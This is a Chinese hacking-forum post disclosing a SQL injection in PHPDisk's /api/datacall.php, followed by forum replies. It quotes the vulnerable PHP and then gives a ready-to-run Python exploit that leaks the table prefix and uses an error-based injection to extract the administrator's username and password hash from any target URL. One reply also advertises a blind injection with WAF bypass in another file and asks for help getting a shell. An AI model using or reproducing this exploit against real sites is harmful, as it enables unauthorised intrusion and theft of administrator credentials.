phpdisk 注入
版本 不确定 反正我6.5 6.0都能射。。
/api/datacall.php
毫无技术含量 纯属为了引动大家的发帖热潮
神马土司被天朝接管都是浮云
$type = trim(gpc('type','G',''));
$order = trim(gpc('order','G','')); //获取参数
$by = trim(gpc('by','G',''));
$limit = (int)gpc('limit','G',0);
if(!$type || !$order || !$by || !$limit){
echo 'PHPDisk Datacall Parameter is null or Error!';
exit;
}
$filter_arr = array('select','delete','update','insert');
for($i=0;$i<count($filter_arr);$i++){
if(strpos($order,strtolower($filter_arr[$i]))!==false){
die('PHPDisk Datacall Parameter Error!');
}
}
if($type=='user'){
echo '<ul>'.LF;
$q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit"); //你懂的,
while ($rs = $db->fetch_array($q)) {
echo '<li><a href="'.$settings['phpdisk_url'].urr("space","username=".rawurlencode($rs['username'])).'" target="_blank">'.$rs['username'].'</a></li>'.LF;
}
echo '</ul>'.LF;
$db->free($q);
/api/datacall.php
exp:
#!/usr/bin/python
#coding=utf-8
import urllib
import sys
def qz(url):
fp=urllib.urlopen(url+"//api/datacall.php?type=user&order=12'&by=and 1=1&limit=1")
data=fp.read()
return data.split("select username,userid from ")[1].split("_users ")[0]
#print qz("http://127.0.0.1/www/disk/")
if len(sys.argv) !=1:
host=sys.argv[1]
qz=qz(host)
fp=urllib.urlopen(host+"//api/datacall.php?type=user&order=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,"+qz+"_users.username,0x27,0x7e,"+qz+"_users.password,0x27,0x7e)%20from%20"+qz+"_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23"+"&by=and 1=1&limit=1")
data=fp.read()
#print data
try:
print "[*]Username: "+data.split("'~")[1]
print "[*]Password: "+data.split("'~")[2]
except:
print "[#]Error!"
else:
print "[#]Usage Exp.py [url]http://127.0.0.1[/url]"
评论14次
有GPC啊。。。绕不过啊
挖洞子的牛伤不起啊,,膜拜~
小跃跃也开始挖洞子了...
满地都是牛啊
写的挺霸气的,xi望大家多多发贴
我也来爆一个吧,。 写的比较简陋,/account.php存在 盲注。慢慢跑出管理员的密码吧。 顺带绕了安全狗。 后台拿shell? 没成功,目标站点权限设置的比较死。没执行权限。 有能帮忙的可以PM我
这类话不适合放在exp失败啊 成功了还可以霸气下 所以先扣LZ一个金币
改了 快给我加回来 JB不容易啊。。
呵呵
还真霸气的,话说`说话得要有点礼貌好,不要出现fuck什么的`就好`
fuck 我给你加了5JB 你竟然倒扣老夫 你给老夫等着。。
加了
fuckyou,这是上次叶子还是谁叫我这么写的 叫我写霸气点,,我直接用的那个 忘记改了。。快给老夫加分
草泥马隔壁,失败了吧! 我觉得exp里面写这种低俗的话很不妥 xi望管理封了楼主帐号